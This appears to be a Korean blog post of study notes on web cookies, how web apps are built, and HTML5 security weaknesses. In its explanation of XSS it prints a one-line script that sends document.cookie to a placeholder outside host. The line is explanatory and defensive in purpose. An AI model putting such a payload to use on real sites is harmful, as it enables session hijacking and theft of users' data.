쿠키(개요, 용도, 오해점, 위험요소, 구조, 쿠키관련 공격 및 사고), HTML5 보안 취약점
1. 쿠키(Cookie)
- 1994년 넷스케이프에서 처음 사용한 기술로 사용자들이 웹 사이트를 편리하게 이용할 수 있도록 하기 위한 목적으로 만들어짐.
사용자가 웹 사이트를 방문할 때 4KB 이하의 파일이 만들어지는데 이를 "쿠키"라고 함.
쿠키에는 웹 사이트를 이용한 사용자의 정보가 저장되므로 사용자가 웹 사이트를 재방문할 때 쿠키를 통해 사용자의 정보 등을 알 수 있음. => 웹 접근성 향상
- 쿠키는 웹 사이트(웹 어플리케이션)에서 연속성을 유지하는 방법 중 하나 임. 실제 클라이언트(브라우져)와 웹 서버는 정보를 교환하는 짧은 시간을 제외하고는
연결이 끊어져 있기 때문에 웹 서버에 대한 사용자 요청은 매번 서로 다른 요청으로 각각 별개로 처리됨.
하지만 웹 서버가 요청하는 사용자들의 정보를 알면 유용하므로 이를 위해 쿠키를 사용하는 것.
- 쿠키 용도: 개인화(사용자가 방문했을 때 했던 일을 파악하여 성향을 분석한 후 개인화 서비스 제공), 장바구니 시스템,
웹 사이트 이용방식 추적(사용자의 웹 이용 방식을 저장하여 효과적인 광고 배너를 달게끔 할 수 있음), 타킷 마케팅 등
- 쿠키에 대한 오해: 바이러스 전파(쿠키는 단순 정보를 담은 텍스트 파일이므로 바이러스 전파 안됨),
컴퓨터에 피해 주기(쿠키에는 웹 사이트 정보만 있고, 실행파일이 아니므로 다른 파일을 읽거나 지울 수 없음)
다른 웹 사이트에서 읽기(쿠키는 쿠키 안에 저장된 도메인 이름을 갖는 사이트에서만 유효하므로 다른 도메인에서는 이용을 할 수 없음)
- 쿠키 유형
① 임시(세션) 쿠키: 인터넷 클라이언트가 실행되는 동안에만 유효하며, 클라이언트가 닫히면 제거됨.
② 영구 쿠키: 하드디스크에 저장되는 쿠키. 보존기간은 설정에 따라 달라짐.
③ 슈퍼 쿠키: 일반적 쿠키와는 다른 경로에 저장되며 웹 사이트 사용자의 정보를 저장함.
④ Flash 쿠키: 브라우져 쿠키의 25배 큰 용량을 갖는(100KB) 쿠키. 거의 영구적으로 저장됨.
- 쿠키를 이용한 통신 과정
① 사용자가 웹 사이트를 방문하면 웹 사이트가 사용자의 컴퓨터에 쿠키를 만듦. 쿠키에는 쿠키를 만든 사이트의 도메인 이름, 구분자, 만기일 등이 저장됨.
② 사용자가 웹 사이트에 재방문하면 웹 사이트가 저장된 쿠키를 찾아 웹 서버로 전송하여 사용자의 여러 정보를 파악할 수 있음.
- 쿠키 위험요소
① 쿠키 내용은 보통 사람들이 읽고 해석하기 어렵기 때문에 ID, PW, 심지어 주민번호도 있는 경우가 있다.
이로인해 재방문시 ID, PW를 또 입력하지 않아도 되는 편리함이 있지만 이러한 쿠키가 악의적 사용자에게 노출되면 상당히 위험해 진다.
② 보통 웹 브라우저에서 기본적으로 지정한 쿠키폴더를 사용자가 변경하지 않고 그대로 사용하는 경우가 많기 때문에
쿠키 파일을 공격자의 서버로 전송하는 악성코드에 감염된 경우 사용자 컴퓨터에 저장된 모든 쿠키 파일들이 노출 될 수 있다.
- 쿠키 구조
Set-Cookie: name=value; expires=[Date]; domain=[Domain]; path=[Path]; [secure]
① 유효기간
② 경로: 쿠기 파일을 생성한 도메인만 해당 파일을 읽을 수 있지만 경로를 지정하면 쿠키 파일을 공유할 수 있음.
"http://www.xxx.yy.zz/abc/main.html" 에서 쿠키를 생성하면 해당 페이지에서만 쿠키를 읽지만
경로를 "abc"로 설정하면 "http://www.xxx.yy.zz/abc"의 모든 페이지에서 쿠키를 읽을 수 있음.
③ 도메인: 경로 속성을 확장한 것으로 도메인 단위에서 쿠키를 읽고 생성하는 권한을 설정함.
- 쿠키 보호
쿠키를 안전한 보안 영역으로 옮기는 방법
- 쿠키관련 법률
쿠키는 사용자들의 프라이버시를 침해할 수 있는 정보를 담을 수 있기 때문에 미국, 유럽 등에서는
사용자의 동의를 얻고 쿠키 정보를 얻을 수 있거나 쿠키 사용을 거절하도록 할 수 있게 하는 등의 규제를 지원함.
우리나라에서는 쿠키 사용을 금지 또는 제한하는 법률은 없으나
① 웹서버는 쿠키를 운용하는지 여부와 쿠키가 개인정보와 관련하여 어떤 의미를 가지는가를 정확하게 인터넷이용자에게 알릴 필요가 있고,
② 쿠키가 어떤 용도로 사용 되는지, 쿠키를 통하여 수집한 정보를 제휴한 다른 웹서버나 광고주와 함께 사용하는지,
③ 개인정보를 제3자에게 제공하는지,
등을 홈페이지에 미리 밝혀야 하고 쿠키운용정책을 변경한 경우에는 그 내용을 지체 없이 인터넷이용자에게 고지해야 함.
- 쿠키 관련 사건 사례: 구글
① 영국 The Guardian지에 따르면 2013년 1월 구글이 사파리에 기본적으로 설정된 쿠키 파일 추적 금지 옵션을 우회하여,
쿠키(cookie) 정보를 수집해 타깃 광고 상품에 활용했다고 함.
② 미국에서도 2010년 소셜 미디어 서비스 버즈(Buzz)를 준비하는 과정에서 쿠키를 통해 개인정보를 불법적으로 수집한 혐의가 확정되어,
서비스 이용자의 개인정보 취급 및 보호에 대해 20년간 정기적인 보안 감사를 받아야 하며, 합의문 위반시 건당 일일 1만 6,000달러의 벌금을 부과 받았다.
- 쿠키의 정보보안 문제점
① <script language=javascript> window.open("www.~~~.xx?param="+document.cookie);</script>
위와 같은 자바스크립트 코드는 팝업창을 열면서 해당 웹 사이트에 파라미터로 쿠키 정보를 넘기는 것이다.
이를 통해 쿠키 정보가 악의적인 공격자에게 전송될 수 있다.
대게 크로스 사이트 스크립팅(XSS) 공격이 사용자의 컴퓨터에서 실행되는 점을 이용하여위와 같은 자바스크립트 소스를 넣은 게시글을
사용자가 읽을 경우 사용자의 쿠키가 노출되게 한다.
② 스니핑(Sniffing) 공격
사용자의 웹 클라이언트(브라우져)가 웹 사이트(즉, 웹 서버)에 요청을 하게되면 쿠키가 있든지 없든지 쿠키의 유무를 확인하고 쿠키 정보가 네트워크 상에서 오고 간다.
이것을 스니핑하여 암호화 되지 않은 쿠키 정보를 읽는다.
③ 공용 PC에서의 쿠키값 유출
④ HTML5 Web Storage 정보유출
2. 웹 개발 방법
- 종류: 네이티브앱, 모바일웹, 웹앱, 하이브리드 앱
- 네이티브앱
흔히 말하는 어플리케이션을 의미함(안드로이드 SDK를 이용해 Java로 만드는 안드로이드앱과 iOS SDK를 이용해 Objective-C로 만드는 아이폰 앱).
커널과 프레임워크가 제공하는 서비스를 직접 호출해 실행하므로 실행속도가 빠르고 안정적.
- 모바일웹
PC 버전의 웹페이지에서 실행되는 글자폰트와 이미지, 아이콘, 플래시 등을 모바일 브라우저에서도 실행되게 조절해주는 웹.
- 웹앱
모바일웹 과 네이티브앱을 결합하여 모바일웹의 특징을 갖으면서 네이티브앱의 장점도 가짐.
모바일 브라우저에서 실행되지만 풀 브라우징 방식이 아닌 단일페이지 형식으로 화면을 전환해 속도가 빠르다는 장점이 있음.
하지만 모바일에 최적화 되진 않고, 네이티브앱처럼 설치형이 아니기에 웹앱을 실행하려면 사용자가 url로 접근해야 함.
웹앱은 모바일의 고유정보를 사용할 수 없고 하드웨어를 제어할 수도 없음.
- 하이브리드 앱
웹앱의 단점을 보안한 것. 웹앱을 네이티브앱으로 포장한 것.
하이브리드앱은 네이티브앱의 형태를 띄고 있어 앱스토어나 마켓에서 다운받아 모바일에 설치할 수 있으며,
모바일의 고유정보를 이용하고 하드웨어를 제어할 수도 있음.
네이버앱 다음앱이 하이브리드앱이라고 할 수 있음.
6. HTML5 보안성
- 기존의 HTML은 동영상/음악 재생, 그랙픽 관련 프로그램, 보안 프로그램 등의 기능을 제공하지 못해 다양한 비 표준 플러그인(Flash, ActiveX, silverlight 등)을 사용해야만 했음.
HTML5는 브라우저 자체적으로 다양한 기능을 구현할 필요성에 의해서 제안되었고, Audio/video를 포함한 확장된 태그,
CORS, Web Storage, Web Socket, Geolocation, File API 등 신규 기능을 추가함.
- 하지만 새롭게 추가된 기술들을 통해 새로운 보안 위협이 발생할 수 있다는 것을 생각해야 함.
- 신규요소
① 속성/태그: audio, video, source, canvas, embed와 같은 신규 태그와 각 태그에 대한 세부 기능을 설정하는 onfocus, autofocus 등의 속성들 추가.
② Web Storage: 도메인당 약 5MB 크기의 저장 공간을 지원. 기존의 쿠키 기능을 개선하여 ‘키-값’ 형태로 데이터를 저장하고 관리할 수 있게 해주는 API.
③ CORS(Cross Origin Resource Sharing): 서로 다른 도메인(사이트) 간 자원을 공유할 수 있게 해줌.
④ Web Socket: HTTP는 프로토콜의 특성상 브라우저가 먼저 요청을 하면, 웹서버가 이를 처리하여 응답함.
하지만 Web Socket은 웹 서버와 User Agent 간 지속해서 연결을 기반으로 하는 전이중 통신을 가능하게 해줌.
- 보안취약점
① 신규 속성 및 태그를 이용한 필터 우회
audio, video, source, embed 태그와 태그의 세부 기능인 onfocus, autofocus를 통해 XSS(크로스 사이트 스크립팅) 블랙리스트를 우회할 가능성이 있음.
서버단에서 사용자의 모든 입력 값을 검증하는 과정이 요구됨.
② Web Storage 정보탈취
Web storage는 세션스토리지와 로컬스토리지로 나뉘며, 웹사이트와 관련된 컨텐츠를 사용자의 컴퓨터에 저장하고 자바스크립트를 이용하여 접근 및 통제를 함.
저장할 수 있는 데이터의 용량은 일반적으로 도메인당 5MB 정도의 크기임.
문제는 웹에서 이용한 정보의 접근 및 제어가 자바스크립트를 통해 이루어지므로, XSS 등 스크립트 기반 공격을 통해 유출될 수 있다는 것.
따라서 웹 방화벽, 시큐어 코딩 등 XXS에 대한 대응 조치, 암호화 조치 등이 필요함.
* 세션스토리지와 로컬스토리지
Session Storage: 브라우저 혹은 탭을 종료할 경우 데이터가 삭제됨.
Local Storage: 해당 영역에는 모든 텍스트 값을 저장할 수 있음. 사용자 혹은 웹 애플리케이션에 의해서 생성/삭제될 수 있으며, 브라우저를 종료해도 데이터들은 삭제되지 않음.
③ CORS을 이용한 사용자 개인정보 탈취
웹 페이지 상에서 자바 스크립트를 이용하여 XHR(XMLHttpRequest)를 다른 도메인으로 발생시켜 서로 다른 도메인(사이트) 사이에서 자원을 공유하는 것.
하지만 타 도메인 접근 시 사용자에게 허가 요청을 받지 않아, 사용자의 세션을 접근 제어 및 허가되지 않은 내부 네트워크에 대한 접근 가능성이 있음.
따라서 사용자는 신뢰할 수 있는 사이트에 한해 접근 설정을 허용하며, 공격자가 헤더를 조작하여 요청을 발생시킬 수 있으므로
해당 헤더에만 의존한 접근 제어가 이뤄지지 않게 조치를 취해야 함.
* 참고
- http://rctown.tistory.com/57
- http://www.igloosec.co.kr/BLOG_HTML5%20%EB%B3%B4%EC%95%88%20%EC%B7%A8%EC%95%BD%EC%A0%90?bbsCateId=1
- http://www.ittoday.co.kr/news/articleView.html?idxno=67057
댓글 없음:
댓글 쓰기